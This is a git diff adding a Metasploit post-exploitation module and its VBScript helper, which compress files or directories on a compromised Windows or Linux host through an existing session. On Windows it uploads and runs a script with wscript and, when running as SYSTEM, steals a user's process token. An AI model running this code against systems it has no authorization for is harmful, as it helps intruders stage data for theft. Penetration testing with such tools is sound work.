diff --git a/data/post/zip/zip.vbs b/data/post/zip/zip.vbs new file mode 100644 index 0000000000..8ae2cfbbf3 --- /dev/null +++ b/data/post/zip/zip.vbs @@ -0,0 +1,62 @@ +On Error Resume Next + +Function WindowsZip(sFile, sZipFile) + 'This script is provided under the Creative Commons license located + 'at http://creativecommons.org/licenses/by-nc/2.5/ . It may not + 'be used for commercial purposes with out the expressed written consent + 'of NateRice.com + + Set oZipShell = CreateObject("WScript.Shell") + Set oZipFSO = CreateObject("Scripting.FileSystemObject") + + If Not oZipFSO.FileExists(sZipFile) Then + NewZip(sZipFile) + End If + + Set oZipApp = CreateObject("Shell.Application") + + sZipFileCount = oZipApp.NameSpace(sZipFile).items.Count + + aFileName = Split(sFile, "\") + sFileName = (aFileName(Ubound(aFileName))) + + 'listfiles + sDupe = False + For Each sFileNameInZip In oZipApp.NameSpace(sZipFile).items + If LCase(sFileName) = LCase(sFileNameInZip) Then + sDupe = True + Exit For + End If + Next + + If Not sDupe Then + oZipApp.NameSpace(sZipFile).Copyhere sFile + + 'Keep script waiting until Compressing is done + On Error Resume Next + sLoop = 0 + Do Until sZipFileCount < oZipApp.NameSpace(sZipFile).Items.Count + Wscript.Sleep(100) + sLoop = sLoop + 1 + Loop + On Error GoTo 0 + End If +End Function + +Sub NewZip(sNewZip) + 'This script is provided under the Creative Commons license located + 'at http://creativecommons.org/licenses/by-nc/2.5/ . It may not + 'be used for commercial purposes with out the expressed written consent + 'of NateRice.com + + Set oNewZipFSO = CreateObject("Scripting.FileSystemObject") + Set oNewZipFile = oNewZipFSO.CreateTextFile(sNewZip) + + oNewZipFile.Write Chr(80) & Chr(75) & Chr(5) & Chr(6) & String(18, 0) + + oNewZipFile.Close + Set oNewZipFSO = Nothing + + Wscript.Sleep(500) +End Sub + diff --git a/modules/post/multi/manage/zip.rb b/modules/post/multi/manage/zip.rb new file mode 100644 index 0000000000..ae7f50b90e --- /dev/null +++ b/modules/post/multi/manage/zip.rb @@ -0,0 +1,145 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Post + + include Msf::Post::File + include Msf::Post::Windows::Priv + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Multi Manage File Compressor', + 'Description' => %q{ + This module zips a file or a directory. On Linux, it uses the zip command. + On Windows, it will try to use remote target's 7Zip if found. If not, it falls + back to its own VBScript. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r' ], + 'Platform' => [ 'win', 'linux' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ] + )) + + register_options( + [ + OptString.new('DESTINATION', [true, 'The destination path']), + OptString.new('SOURCE', [true, 'The directory or file to compress']) + ], self.class) + end + + def get_program_file_path + get_env('ProgramFiles') + end + + def has_7zip? + file?("#{get_program_file_path}\\7-Zip\\7z.exe") + end + + def vbs(dest, src) + vbs_file = File.read(File.join(Msf::Config.data_directory, "post", "zip", "zip.vbs")) + vbs_file << "WindowsZip \"#{src}\",\"#{dest}\"" + vbs_file + end + + def find_pid_by_user(username) + computer_name = get_env('COMPUTERNAME') + print_status("Searching for PID for #{computer_name}\\\\#{username}") + session.sys.process.processes.each do |p| + if p['user'] == "#{computer_name}\\#{username}" + return p['pid'] + end + end + + nil + end + + def steal_token + current_user = get_env('USERNAME') + pid = find_pid_by_user(current_user) + + unless pid + fail_with(Failure::Unknown, "Unable to find a PID for #{current_user} to execute .vbs") + end + + print_status("Stealing token from PID #{pid} for #{current_user}") + begin + session.sys.config.steal_token(pid) + rescue Rex::Post::Meterpreter::RequestError => e + # It could raise an exception even when the token is successfully stolen, + # so we will just log the exception and move on. + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + end + + @token_stolen = true + end + + def upload_exec_vbs_zip + if is_system? + unless session + print_error('Unable to decompress with VBS technique without Meterpreter') + return + end + + steal_token + end + + script = vbs(datastore['DESTINATION'], datastore['SOURCE']) + tmp_path = "#{get_env('TEMP')}\\zip.vbs" + print_status("VBS file uploaded to #{tmp_path}") + write_file(tmp_path, script) + cmd_exec("wscript.exe #{tmp_path}") + end + + def do_7zip + program_file_path = get_program_file_path + output = cmd_exec("#{program_file_path}\\7-Zip\\7z.exe a -tzip \"#{datastore['DESTINATION']}\" \"#{datastore['SOURCE']}\"") + vprint_line(output) + end + + def do_zip + output = cmd_exec("zip -D -q -r #{datastore['DESTINATION']} #{datastore['SOURCE']}") + vprint_line(output) + end + + def windows_zip + if has_7zip? + print_status("Compressing #{datastore['DESTINATION']} via 7zip") + do_7zip + else + print_status("Compressing #{datastore['DESTINATION']} via VBS") + upload_exec_vbs_zip + end + end + + def linux_zip + print_status("Compressing #{datastore['DESTINATION']} via zip") + do_zip + end + + def cleanup + if @token_stolen && session + session.sys.config.revert_to_self + print_status('Token restored.') + end + + super + end + + def run + @token_stolen = false + + os = get_target_os + case os + when Msf::Module::Platform::Windows.realname.downcase + windows_zip + else + linux_zip + end + end + +end +